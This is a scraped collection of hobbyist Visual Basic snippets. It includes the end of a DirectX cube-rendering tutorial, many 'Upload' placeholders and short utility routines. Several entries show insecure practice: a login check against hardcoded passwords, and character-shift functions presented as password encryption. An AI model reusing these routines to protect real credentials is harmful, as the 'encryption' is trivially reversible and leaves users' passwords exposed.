SoundDesc) \n ' Check the pointer is valid \n If Sound Is Nothing Then GoTo InitFailed \n \n ' DIRECT3D \n \n ' Get a pointer to Direct3D \n Set D3D = DX.Direct3DCreate() \n ' Check the pointer is valid \n If D3D Is Nothing Then GoTo InitFailed \n \n ' Fill the D3DPRESENT_PARAMETERS type, describing how DirectX should \n ' display it's renders \n \n With D3Dpp \n ' set the most common fullscreen display mode \n .Windowed = False ' the app is not in a window \n .BackBufferWidth = 640 '\nthe size of the screen \n .BackBufferHeight = 480 \n .BackBufferFormat = D3DFMT_R5G6B5 ' the color depth format (16 bit) \n ' the swap effect determines how the graphics get from \n ' the backbuffer to the screen - note : D3DSWAPEFFECT_DISCARD \n ' means that every time the render is presented, the backbuffer \n ' image is destroyed, so everything must be rendered again \n .SwapEffect = D3DSWAPEFFECT_DISCARD \n ' request a 16 bit z-buffer - this depth sorts the scene \n ' so we can't see polygons that are behind other polygons \n .EnableAutoDepthStencil = 1 \n .AutoDepthStencilFormat = D3DFMT_D16 \n ' 1 backbuffer \n .BackBufferCount = 1 \n End With \n \n ' Create the rendering device. Here we request a hardware rasterization. \n ' If your computer does not have this, the request may fail, so use \n ' D3DDEVTYPE_REF instead of D3DDEVTYPE_HAL if this happens. A real \n ' program would be able to detect an error and automatically switch device. \n ' We also request software vertex processing, which means the CPU has to \n ' transform and light our geometry \n Set D3Ddevice = D3D.CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL,\nhWnd, D3DCREATE_SOFTWARE_VERTEXPROCESSING, D3Dpp) \n ' check the pointer is valid \n If D3Ddevice Is Nothing Then GoTo InitFailed \n \n ' Set rendering options \n D3Ddevice.SetRenderState D3DRS_CULLMODE, D3DCULL_NONE \n D3Ddevice.SetRenderState D3DRS_ZENABLE, D3DZB_TRUE ' enable z buffering \n D3Ddevice.SetRenderState D3DRS_FILLMODE, D3DFILL_SOLID ' render solid polygons \n D3Ddevice.SetRenderState D3DRS_LIGHTING, True ' enable lighting \n D3Ddevice.SetRenderState D3DRS_AMBIENT, vbWhite ' use ambient white light \n \n ' Set the material properties \n With Material.Ambient \n .a = 1: .r = 1: .g = 1: .b = 1 \n End With \n \n ' Create a texture surface from a file \n Set Texture = D3DX.CreateTextureFromFile(D3Ddevice, App.Path & \"\\texture.bmp\") \n ' Check the pointer is valid \n If Texture Is Nothing Then GoTo InitFailed \n \n ' Set the material and texture as the current ones to render from \n D3Ddevice.SetMaterial Material \n D3Ddevice.SetTexture 0, Texture \n \n ' Create a vertex buffer, using default usage and specifying enough memory for 24 vertices of format \nD3DFVF_VERTEX \n Set VertexBuffer = D3Ddevice.CreateVertexBuffer(24 * Len(Vertex(1)), 0, D3DFVF_VERTEX, D3DPOOL_DEFAULT) \n ' Check pointer is valid \n If VertexBuffer Is Nothing Then GoTo InitFailed \n \n ' Create an index buffer, using default uage and specifying enough memory for 36 16 bit integers \n Set IndexBuffer = D3Ddevice.CreateIndexBuffer(36 * Len(Index(1)), 0, D3DFMT_INDEX16, D3DPOOL_DEFAULT) \n ' Check pointer is valid \n If IndexBuffer Is Nothing Then GoTo InitFailed \n \n ' Now we make a cube shape out of our vetices \n Vertex(1) = MakeVertex(-1, 1, -1, 0, 0, -1, 0, 0) \n Vertex(2) = MakeVertex(1, 1, -1, 0, 0, -1, 1, 0) \n Vertex(3) = MakeVertex(-1, -1, -1, 0, 0, -1, 0, 1) \n Vertex(4) = MakeVertex(1, -1, -1, 0, 0, -1, 1, 1) \n Vertex(5) = MakeVertex(1, 1, -1, 0, 0, 1, 0, 0) \n Vertex(6) = MakeVertex(-1, 1, -1, 0, 0, 1, 1, 0) \n Vertex(7) = MakeVertex(1, -1, -1, 0, 0, 1, 0, 1) \n Vertex(8) = MakeVertex(-1, -1, -1, 0, 0, 1, 1, 1) \n \n Vertex(9) = MakeVertex(-1, 1, 1, -1, 0, 0, 0, 0) \n Vertex(10) = MakeVertex(-1, 1, -1, -1, 0, 0, 1, 0) \n Vertex(11) = MakeVertex(-1, -1, 1, -1, 0, 0, 0, 1) \n Vertex(12) = MakeVertex(-1, -1, -1, -1, 0, 0, 1, 1) \n Vertex(13) = MakeVertex(1, 1, -1, 1, 0, 0, 0, 0) \n Vertex(14) = MakeVertex(1, 1, 1, 1, 0, 0, 1, 0) \n Vertex(15) = MakeVertex(1, -1, -1, 1, 0, 0, 0, 1) \n Vertex(16) = MakeVertex(1, -1, 1, 1, 0, 0, 1, 1) \n \n Vertex(17) = MakeVertex(-1, 1, -1, 0, 1, 0, 0, 0) \n Vertex(18) = MakeVertex(1, 1, -1, 0, 1, 0, 1, 0) \n Vertex(19) = MakeVertex(-1, 1, 1, 0, 1, 0, 0, 1) \n Vertex(20) = MakeVertex(1, 1, 1, 0, 1, 0, 1, 1) \n Vertex(21) = MakeVertex(-1, -1, -1, 0, -1, 0, 0, 0) \n Vertex(22) = MakeVertex(1, -1, -1, 0, -1, 0, 1, 0) \n Vertex(23) = MakeVertex(-1, -1, 1, 0, -1, 0, 0, 1) \n Vertex(24) = MakeVertex(1, -1, 1, 0, -1, 0, 1, 1) \n \n ' Copy the vertices into the vertex buffer \n D3DVertexBuffer8SetData VertexBuffer, 0, 24 * Len(Vertex(1)), 0, Vertex(1) \n \n ' Make a list which tells the order in which to render these vertices \n MakeIndices 1, 2, 3, 3, 2, 4, 5, 6, 7, 7, 6, 8, 9, 10, 11, 11, 10, 12, 13, 14, 15, 15, 14, 16, 17, 18, 19, 19, 18, 20, 21, 22, 23, 23, 22, 24 \n \n ' Copy the indices into the index buffer \n D3DIndexBuffer8SetData IndexBuffer, 0, 36 * Len(Index(1)), 0, Index(1) \n \n ' Set the vertex format \n D3Ddevice.SetVertexShader D3DFVF_VERTEX \n \n ' Set the vertex and index buffers as current ones to render from \n D3Ddevice.SetStreamSource 0, VertexBuffer, Len(Vertex(1)) \n D3Ddevice.SetIndices IndexBuffer, -1 \n \n ' Initializtion is complete! \n Init = True \n Exit Function \n \nInitFailed: ' the initialization function has failed \n Init = False \n \nEnd Function \n \n \n \n \n \n' MAKEVECTOR \n \n' This function creates vectors \n \nFunction MakeVector(x As Single, y As Single, z As Single) As D3DVECTOR \n With MakeVector \n .x = x \n .y = y \n .z = z \n End With \nEnd Function \n \n \n \n \n \n' MAKEVERTEX \n \n' This function creates vertices \n \nFunction MakeVertex(x As Single, y As Single, z As Single, nx As Single, ny As Single, nz As Single, tu As Single, tv As Single) As D3DVERTEX \n With MakeVertex \n .x = x \n .y = y \n .z = z \n .nx = nx \n .ny = ny \n .nz = nz \n .tu = tu \n .tv = tv \n End With \nEnd Function \n \n \n \n \n \n' MAKEINDICES \n \n' This function creates a list of indices \n \nFunction MakeIndices(ParamArray Indices()) As Integer() \n Dim i As Integer \n For i = LBound(Indices) To UBound(Indices) \n Index(i + 1) = Indices(i) \n Next \nEnd Function \n \n \n \n \n \n' MAINLOOP \n \n' This sub animates the scene by moving the positions of the \n' cubes and the camera position, then renders the cubes. It \n' checks to see if the escape key has been pressed and loops \n' if it has not. \n \nSub MainLoop() \n' the mathematical constant pi \nConst PI = 3.1415 \n' the speed of animation \nConst SPEED = 0.01 \n' matrices for animation and cameras \nDim matTranslation As D3DMATRIX, matRotation As D3DMATRIX, matScaling As D3DMATRIX, matView As D3DMATRIX, matProjection As D3DMATRIX, matTransform As D3DMATRIX \n' camera position \nDim CameraPos As D3DVECTOR \nOn Error Resume Next \n Do \n ' let Windows messages be executed \n DoEvents \n ' get keyboard and mouse data \n Keyboard.GetDeviceStateKeyboard KeyboardState \n Mouse.GetDeviceStateMouse MouseState \n ' if escape was pressed, exit program \n If KeyboardState.Key(DIK_ESCAPE) Then Exit Do \n ' move camera with mouse \n CameraPos.y = CameraPos.y + MouseState.lY / 10 \n CameraPos.z = -2 \n ' set camera position, using mouse data \n D3DXMatrixLookAtLH matView, MakeVector(CameraPos.x, CameraPos.y, CameraPos.z), MakeVector(0, 0, 0), MakeVector(0, 1, 0) \n D3Ddevice.SetTransform D3DTS_VIEW, matView \n D3DXMatrixPerspectiveFovLH matProjection, PI / 3, 0.75, 0.1, 10000 \n D3Ddevice.SetTransform D3DTS_PROJECTION, matProjection \n ' move the rotation angle \n Rotation = Rotation + SPEED \n If Rotation > 2 * PI Then \n Rotation = Rotation - 2 * PI \n \n' once per rotation, play a sound \n Sound.Play DSBPLAY_DEFAULT \n End If \n ' clear the rendering device backbuffer and z-buffer \n D3Ddevice.Clear 0, ByVal 0, D3DCLEAR_TARGET Or D3DCLEAR_ZBUFFER, vbWhite, 1#, 0 \n ' start rendering \n D3Ddevice.BeginScene \n ' create rotation matrix \n D3DXMatrixRotationYawPitchRoll matTransform, Rotation * 2, Rotation, Rotation \n ' set the world matrix to normal \n D3Ddevice.SetTransform D3DTS_WORLD, matTransform \n ' draw the medium cube \n DrawCube \n ' create movement, rotation and scale matrices \n D3DXMatrixTranslation matTranslation, 0, 0, 4 \n D3DXMatrixRotationYawPitchRoll matRotation, 0, Rotation * 2, Rotation * 4 \n D3DXMatrixScaling matScaling, 0.5, 0.5, 0.5 \n ' combine them \n D3DXMatrixMultiply matTransform, matRotation, matTranslation \n D3DXMatrixMultiply matTransform, matTransform, matScaling \n ' transform the world matrix \n D3Ddevice.MultiplyTransform D3DTS_WORLD, matTransform \n ' draw the small cube \n DrawCube \n ' create movement, rotation and scale matrices \n D3DXMatrixTranslation matTranslation, -3, -3, -3 \n D3DXMatrixRotationYawPitchRoll matRotation, Rotation * 8, 0, Rotation * 6 \n D3DXMatrixScaling matScaling, 0.5, 0.5, 0.5 \n ' combine them \n D3DXMatrixMultiply matTransform, matTranslation, matRotation \n D3DXMatrixMultiply matTransform, matTransform, matScaling \n ' transform the world matrix \n D3Ddevice.MultiplyTransform D3DTS_WORLD, matTransform \n ' draw the small cube \n DrawCube \n ' end rendering \n D3Ddevice.EndScene \n ' present the contents of the backbuffer by flipping it to the screen \n D3Ddevice.Present ByVal 0, ByVal 0, 0, ByVal 0 \n Loop \nEnd Sub \n \n \n \n \n \n' DRAWCUBE \n \n' Draws the cube \n \nSub DrawCube() \nOn Error Resume Next \n ' draw 12 triangles, in a cube shape, onto the backbuffer of the rendering device \n D3Ddevice.DrawIndexedPrimitive D3DPT_TRIANGLELIST, 0, 36, 0, 12 \nEnd Sub \n \n \n \n \n' CLEANUP \n \n' This unloads all the DirectX objects - we destroy objects we \n' have created, an disassociate our pointers from objects \n' create by DirectX, so then DirectX can destroy them. Failing \n' to call this sub can cause memory to be lost. \n \nSub CleanUp() \n \nOn Error Resume Next \n \n Set Keyboard = Nothing \n Set Mouse = Nothing \n Set DI = Nothing \n \n Set Sound = Nothing \n Set DS = Nothing \n \n Set Texture = Nothing \n Set D3Ddevice = Nothing \n Set D3DX = Nothing \n Set D3D = Nothing \n \nEnd Sub\n \n\n---***---SOURCE CODE ENDS HERE---***---\nHey - does somebody have a HTML VB syntax color highlighter? As you can see,\nI got fed up and didn't color in the keywords!\n<h4>What you have learnt</h4>\n<ul>\n <li>Initialization - getting DirectX objects - loading textures, sounds,\n geometry, vertex and index buffers, getting input devices</li>\n <li>Rendering - How to draw and present texture mapped triangles</li>\n <li>Sound - erm, how to play one</li>\n <li>Input - how to read the keyboard and mouse</li>\n <li>Animation - how to use matrices to perform complex animation</li>\n <li>Alot of keywords and terms</li>\n</ul>\n<h4>What you should do next</h4>\n<ul>\n <li>I've left a bug in the program for you on purpose! One face of each cube\n is not rendered! Find the bug and kill it! I do know the answer, honestly,\n but I'm not telling because debugging is a major part of programming for you\n to learn!</li>\n <li>Try some different shapes, animation, colors, textures, sounds, camera\n movements</li>\n <li>Try adding a background</li>\n <li>Make the program more interactive, maybe even make a puzzle or game</li>\n <li>See some of my other programs on my website for more ideas</li>\n</ul>\n<h4>Future Tutorials</h4>\nThere's still lots more to learn and more advanced tutorials will come when I\nget the time. Some major topics include 3D sound, lighting, and loading model\nfiles. Give me some feedback on what you need to know.\n<h4>What I'd like you to do now</h4>\n<ul>\n <li>Visit my website : <a href=\"http://www.VBgames.co.uk\">www.VBgames.co.uk</a>\n - and if you have your own programming site please swap links with me</li>\n <li>Please vote for me - on <a href=\"http://www.planet-source-code.com\">www.planet-source-code.com</a> </li>\n <li>Give me some feedback - go to <a href=\"http://www.planet-source-code.com\">www.planet-source-code.com</a>\n and tell me what was good and what was bad, suggestions, comments, anything.\n Tell me why you voted the rating that you did.</li>\n <li>Hey, my request to write a book got turned down! (erm, private joke with\n someone)</li>\n</ul>\n<h4>Credits</h4>\nThere are lots of sources from where my information came from. Mainly\nMicrosoft's DirectX SDK (as much as I hate them, DirectX rules!). Many tutorials\non <a href=\"http://www.planet-source-code.com\">www.planet-source-code.com</a>\nand <a href=\"http://www.gamedev.net\">www.gamedev.net</a> , and also thanks to\nRichard Hayden for his example program.\n<h4>Disclaimer</h4>\nThis tutorial might be totally wrong so it's not my fault if something goes\nwrong. You've been warned (right at the end, after you messed up your PC)!\n \n"},{"WorldId":1,"id":14587,"LineNumber":1,"line":"Sorry, couldn't upload, please use http://www.VBgames.co.uk/downloads/exdemob1.zip"},{"WorldId":1,"id":22669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12521,"LineNumber":1,"line":"Dim Pw1 As String\nDim Pw2 As String\nPw1 = \"password1\"\nPw2 = \"password2\"\nIf Text1 = Pw1 Then\nMsgBox \"you entered the correct password\"\nElse\nIf Text1 = Pw2 Then\nMsgBox \"you entered the correct password\"\nElse\nMsgBox \"wrong password, please try again\"\nEnd If\nEnd If"},{"WorldId":1,"id":32995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11514,"LineNumber":1,"line":"'THIS FUNCTION ENCRYPTS THE INPUT\nPublic Function DMEncrypt(strText As String)\nOn Error GoTo Xit\nDim Combine As String, i As Integer, Temp As String\nCombine = \"\"\nTemp = \"\"\nFor i = 1 To Len(strText) - 1 Step 2\n If Len(Trim(Str(Asc(Mid(strText, i, 1))))) < 3 Then\n Temp = \"0\" & Trim(Str(Asc(Mid(strText, i, 1))))\n Else\n Temp = Trim(Str(Asc(Mid(strText, i, 1))))\n End If\n Combine = Combine & Temp\n If Len(Trim(Str(Asc(Mid(strText, i + 1, 1))))) < 3 Then\n Temp = \"0\" & Trim(Str(Asc(Mid(strText, i + 1, 1))))\n Else\n Temp = Trim(Str(Asc(Mid(strText, i + 1, 1))))\n End If\n Combine = Combine & Temp\nNext i\nTemp = \"\"\nFor i = 1 To Len(Combine)\n Temp = Temp & Chr(Asc(Mid(Combine, i, 1)) + 128)\nNext i\nDMEncrypt = Temp\nClipboard.SetText Temp\nExit Function\nXit:\nDMEncrypt = \"{{ Error encrypting }}\"\nExit Function\nEnd Function\n'THIS FUNCTION DECRYPTS THE INPUT\nPublic Function DMDecrypt(strText As String)\nOn Error GoTo Xit\nDim Combine As String, i As Integer, Temp As String, Temp2 As Integer\nCombine = \"\"\nFor i = 1 To Len(strText)\n Combine = Combine & Chr(Asc(Mid(strText, i, 1)) - 128)\nNext i\nTemp = \"\"\nFor i = 1 To Len(Combine) Step 3\n Temp2 = Mid(Combine, i, 3)\n Temp = Temp & Chr(Temp2)\nNext i\nDMDecrypt = Temp\nExit Function\nXit:\nDMDecrypt = \"{{ Error encrypting }}\"\nExit Function\nEnd Function\n"},{"WorldId":1,"id":13267,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14731,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30595,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29551,"LineNumber":1,"line":"Public Function BrowseForFolder(lnghWndOwner As Long) As String\n ''Opens a Treeview control that displays the directories in a computer and Returns a String\n Dim lpIDList As Long\n Dim sBuffer As String\n Dim szTitle As String\n Dim tBrowseInfo As BrowseInfo\n szTitle = \"This is the title\"\n With tBrowseInfo\n .hWndOwner = lnghWndOwner\n .lpszTitle = lstrcat(szTitle, \"\")\n .ulFlags = BIF_RETURNONLYFSDIRS + BIF_DONTGOBELOWDOMAIN\n End With\n lpIDList = SHBrowseForFolder(tBrowseInfo)\n If (lpIDList) Then\n sBuffer = Space(MAX_PATH)\n SHGetPathFromIDList lpIDList, sBuffer\n sBuffer = Left(sBuffer, InStr(sBuffer, vbNullChar) - 1)\n End If\n BrowseForFolder = sBuffer\nEnd Function\n"},{"WorldId":1,"id":11517,"LineNumber":1,"line":"Public Function OpenBrowser(strURL As String, lngHwnd As Long)\n OpenBrowser = ShellExecute(lngHwnd, vbNullString, strURL, vbNullString, _\n \"c:\\\", SW_SHOWDEFAULT)\nEnd Function"},{"WorldId":1,"id":12226,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13285,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13637,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13452,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13279,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13324,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12138,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14491,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22724,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27983,"LineNumber":1,"line":"PSC wouldn't let me upload it for some reason so here's where to get it: http://www.geocities.com/war_lord15/BenchMark.zip\n"},{"WorldId":1,"id":31805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33203,"LineNumber":1,"line":"I saw an article yesterday that was talking about parallel port programming in visual basic. However, this artical didn't contain any code nor did it really inform you as to much of anything about programming the parallel port. So, I wrote this short tutorial to introduce you to the basics of programming the parallel port. \nI plan on writing more advanced tutorials at a later date but this should get you started."},{"WorldId":1,"id":13218,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13361,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12145,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11599,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21906,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21759,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32800,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13368,"LineNumber":1,"line":"'This Function sets the Filters for the Common Dialog\n'It is basically the Same as in Commondialog OCX But when You want Multiple Filter Use as\n'\"All Files|*.*|Executable Files|*.exe\"\nPrivate Sub DialogFilter(WantedFilter As String)\n Dim intLoopCount As Integer\n strfileName.lpstrFilter = \"\"\n For intLoopCount = 1 To Len(WantedFilter)\n If Mid(WantedFilter, intLoopCount, 1) = \"|\" Then strfileName.lpstrFilter = _\n strfileName.lpstrFilter + Chr(0) Else strfileName.lpstrFilter = _\n strfileName.lpstrFilter + Mid(WantedFilter, intLoopCount, 1)\n Next intLoopCount\n strfileName.lpstrFilter = strfileName.lpstrFilter + Chr(0)\nEnd Sub\n'This is The Function To get the File Name to Open\n'Even If U don't specify a Title or a Filter it is OK\nPublic Function fncGetFileNametoOpen(Optional strDialogTitle As String = \"Open\", Optional strFilter As String = \"All Files|*.*\", Optional strDefaultExtention As String = \"*.*\") As String\nDim lngReturnValue As Long\nDim intRest As Integer\n strfileName.lpstrTitle = strDialogTitle\n strfileName.lpstrDefExt = strDefaultExtention\n DialogFilter (strFilter)\n strfileName.hInstance = App.hInstance\n strfileName.lpstrFile = Chr(0) & Space(259)\n strfileName.nMaxFile = 260\n strfileName.flags = &H4\n strfileName.lStructSize = Len(strfileName)\n lngReturnValue = GetOpenFileName(strfileName)\n fncGetFileNametoOpen = strfileName.lpstrFile\nEnd Function\n'This Function Returns the Save File Name\n'Remember, U have to Specify a Filter and default Extention for this\nPublic Function fncGetFileNametoSave(strFilter As String, strDefaultExtention As String, Optional strDialogTitle As String = \"Save\") As String\nDim lngReturnValue As Long\nDim intRest As Integer\n strfileName.lpstrTitle = strDialogTitle\n strfileName.lpstrDefExt = strDefaultExtention\n DialogFilter (strFilter)\n strfileName.hInstance = App.hInstance\n strfileName.lpstrFile = Chr(0) & Space(259)\n strfileName.nMaxFile = 260\n strfileName.flags = &H80000 Or &H4\n strfileName.lStructSize = Len(strfileName)\n lngReturnValue = GetSaveFileName(strfileName)\n fncGetFileNametoSave = strfileName.lpstrFile\nEnd Function\n"},{"WorldId":1,"id":11856,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25758,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11586,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11604,"LineNumber":1,"line":"'**********************************************\n'*Put the following code in any function.\n'*This code opens database connection/recordset. \n'*I have connected via datasource\n'**********************************************\nDim cn As New ADODB.Connection\nDim rs As New ADODB.Recordset\ncn.ConnectionString = \"Provider=MSDASQL.1; _\nPersist Security Info=False; _\nData Source=DSG_Input\"\ncn.Open\n'*****************************************\n'*SQL Statement to extract all customers*\n'*from the database\n'*****************************************\nsql = \"Select First_Name, Cust_ID from Customer _ Order by First_Name\"\nSet rs = cn.Execute(sql)\n'*****************************************\n'**Populates the listbox**\n'*****************************************\n With List1\n Do While Not rs.EOF\n .AddItem rs(\"First_Last\")\n rs.MoveNext\n Loop\n End With\n \n'**********************************************\n'*You now have a listbox containing the records\n'*from your database\n'**********************************************\n'**********************************************\n'*You will create an array that is dynamic to \n'*your recordset. This will keep track of \n'*the primary key as a boundColumn would in a \n'*datalist box. This is for the purpose \n'*of relational databases.\n'*You will create the array the same size as the \n'*listIndex count (number of records in \n'*listbox).\n'**********************************************\nrs.movefirst\nReDim array1(List1.ListCount) As String\n'*********************************************\n'*This will now populate the array which is a \n'*mirror image as the listbox, but with the \n'*primary key.\n'*********************************************\nFor i = 0 To List1.ListCount - 1\n array1(i) = rs(\"Cust_ID\")\n rs.MoveNext\nNext i\n'**********************************************\n'*We have now completed the listbox. You can\n'*use this listbox the same way as you would a\n'*datalist box. The following code will explain\n'*how.\n'***********************************************\n'************************************************\n'*To access the primary key relating to each \n'*record in the list, put the following code in\n'*the listbox \"Click()\" event. This explains how\n'*to access the primary key stored in the array.\n'************************************************\n \n'**********************************************\n'*list1.listIndex explains with record in the\n'*list was clicked on. You use this to find \n'*where in the array the primary key is stored.\n'**********************************************\nPrivate Sub List1_Click()\nDim Primary_1 as string\n Primary_1 = array1(list1.listIndex)\n Msgbox Primary_1\nEnd Sub\n'***********************************************\n'*Conclusion*\n'*Although this isn't as convenient as setting up\n'*a bound datalist control, you will find it \n'*will speed up things when using a large\n'*database file.\n'************************************************"},{"WorldId":1,"id":11919,"LineNumber":1,"line":"Dim fso\nDim strFile As String\nSet fso = CreateObject(\"Scripting.FileSystemObject\")\nIf fso.FileExists(\"c:\\windows\\Calc.exe\") Then\n MsgBox \"It does exist\", vbInformation, \"Does Exist\"\n Else\n MsgBox \"It does not exist!\", vbExclamation, \"Doesn't Exist\"\n End If"},{"WorldId":1,"id":11904,"LineNumber":1,"line":"'.......................................................\n'to encrypt:\n'right before you save you go:\n'password = Encrypt(password) password is the variable\n'.......................................................\nPublic Function Encrypt(ByVal Plain As String)\n Dim Letter As String\n For i = 1 To Len(Plain)\n Letter = Mid$(Plain, i, 1)\n Mid$(Plain, i, 1) = Chr(Asc(Letter) + 111)\n Next i\n Encrypt = Plain\nEnd Function\n'password = Encrypt(Text1)\n'Text2 = password\n\n'...................................................\n'to decrypt:\n'right before you load the password you go:\n'password = Decrypt(password)\n'....................................................\nPublic Function Decrypt(ByVal Encrypted As String)\nDim Letter As String\n For i = 1 To Len(Encrypted)\n Letter = Mid$(Encrypted, i, 1)\n Mid$(Encrypted, i, 1) = Chr(Asc(Letter) - 111)\n Next i\n Decrypt = Encrypted\nEnd Function"},{"WorldId":1,"id":13727,"LineNumber":1,"line":"Code:\n'Launch Windows Date/Time Properties Dialog\nDim dblReturn As Double\ndblReturn = Shell(\"rundll32.exe shell32.dll,Control_RunDLL timedate.cpl\", 5)"},{"WorldId":1,"id":13036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21694,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21705,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21431,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11611,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14499,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14575,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14504,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14511,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12835,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32070,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14096,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23007,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12718,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29745,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26845,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24197,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27281,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12658,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11939,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11652,"LineNumber":1,"line":"Private Sub Form_Load()\n Combo1.AddItem \"Computer\"\n Combo1.AddItem \"Screen\"\n Combo1.AddItem \"Screen saver\"\n Combo1.AddItem \"Printer\"\n Combo1.AddItem \"Printer cartridge\"\n Combo1.AddItem \"Printer cable\"\n Combo1.AddItem \"Modem\"\n Combo1.AddItem \"Speakers\"\n Combo1.AddItem \"Keyboard\"\n Combo1.AddItem \"Mouse\"\n Combo1.AddItem \"Floppy disks\"\n Combo1.AddItem \"Floppy disk drive\"\n Combo1.AddItem \"Compact disk\"\n Combo1.AddItem \"Hard drive\"\n Combo1.AddItem \"Hardware\"\n Combo1.AddItem \"Software\"\n Combo1.AddItem \"Motherboard\"\n Combo1.AddItem \"Sound card\"\n Combo1.AddItem \"Webcam\"\n Combo1.AddItem \"Joystick\"\n Combo1.AddItem \"Mouse pad\"\n Combo1.AddItem \"Laser printer\"\n Combo1.AddItem \"Network card\"\n Combo1.AddItem \"ISDN card\"\n Combo1.AddItem \"HUB\"\n \n Combo1.Text = \"\"\n AutoInput = False\n \nEnd Sub\n\nPrivate Sub Combo1_Change()\n Dim i As Integer\n If Combo1.Text <> \"\" And AutoInput = False Then\n RealLen = Len(Combo1.Text)\n Do\n If LCase(Combo1.Text) = LCase(Combo1.List(i)) Then\n Exit Sub\n ElseIf LCase(Combo1.Text) = LCase(Left(Combo1.List(i), RealLen)) Then\n AutoInput = True\n Combo1.Text = Combo1.List(i)\n Combo1.SelStart = RealLen\n Combo1.SelLength = Len(Combo1.Text) - RealLen\n End If\n i = i + 1\n Loop Until i = Combo1.ListCount\n Else\n AutoInput = False\n End If\nEnd Sub\nPrivate Sub Combo1_KeyDown(KeyCode As Integer, Shift As Integer)\n If KeyCode = 8 Then\n If RealLen > 0 And Combo1.SelLength > 0 Then\n Combo1.SelStart = RealLen - 1\n Combo1.SelLength = Len(Combo1.Text) - RealLen + 1\n End If\n ElseIf KeyCode = 46 Then\n If Combo1.SelLength <> 0 Then\n Combo1.Text = Left(Combo1.Text, RealLen)\n AutoInput = True\n End If\n End If\nEnd Sub\n"},{"WorldId":1,"id":11719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11676,"LineNumber":1,"line":"Private Sub RemoveDupes(lst As ListBox)\n Dim iPos As Integer\n iPos=0\n '-- if listbox empty then exit..\n If lst.ListCount < 1 Then Exit Sub\n Do While iPos < lst.ListCount\n lst.Text = lst.List(iPos)\n '-- check if text already exists..\n If lst.ListIndex <> iPos Then\n '-- if so, remove it and keep iPos..\n lst.RemoveItem iPos\n Else\n '-- if not, increase iPos..\n iPos = iPos + 1\n End If\n Loop\n '-- used to unselect the last selected line..\n lst.Text = \"~~~^^~~~\"\nEnd Sub\n"},{"WorldId":1,"id":11678,"LineNumber":1,"line":"Private Sub AddUnique(StringToAdd As String, lst As ListBox)\n lst.Text = StringToAdd\n If lst.ListIndex = -1 Then\n 'it does not exist, so add it..\n lst.AddItem StringToAdd\n End If\nEnd 